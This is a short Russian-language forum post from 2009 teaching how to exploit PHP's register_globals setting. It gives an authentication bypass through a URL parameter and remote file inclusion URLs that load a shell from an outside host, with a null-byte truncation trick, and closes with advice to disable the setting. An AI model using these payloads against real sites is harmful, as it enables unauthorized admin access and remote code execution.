Vsadnik-smerti | Дата: Пятница, 19.06.2009, 13:25 | Сообщение # 1 |
Генералиссимус
Группа: Администраторы
Сообщений: 162
Статус: Offline
| Сейчас я расскажу , о том как поиметь сайт, который использует включенный режим Register Globals . По дефолту , этот режим включен в PHP версиях ниже 5. Что такое Register Globals ? Это режим в котором можно создавать глобальные переменные , вот пример : http://localhost/script.php?name=vasili в данном случае создастся переменная name со значением "vasili". Как это использовать ? Допустим в скрипте есть авторизация при которой , если данные верны , создаётся переменная status со значением "ok" , после чего идёт проверка на значение "ok" , и если значение "ok" то открывается доступ к админке... Для того чтобы поиметь такой сайт , достаточно передать скрипту значение "ok" в переменной status , и доступ будет открыт. Еще пример . Допустим в скрипте есть подключение локального файла. Вот как это выглядит : include($root/option.php); Теперь от нас всего лиш потребуется ввести в переменной root , адрес нашего сайта с предварительно записанным шелом с именем option.php , и скрипт выполнит наш файл как родной , пример : http://localhost/script.php?root=http://target/ или http://localhost/script.php?root=http://target/shell.php%00 %00 - это нулевой символ(символ с нулевым байтом) который обрезает идущие после него данные , в данном случае обрезается значение option.php, что даст нам возможность выполнить файл с любым указанным именем . Вот и все насегодня .. ПС: отключайте режим Register Globals ...
|
|
| |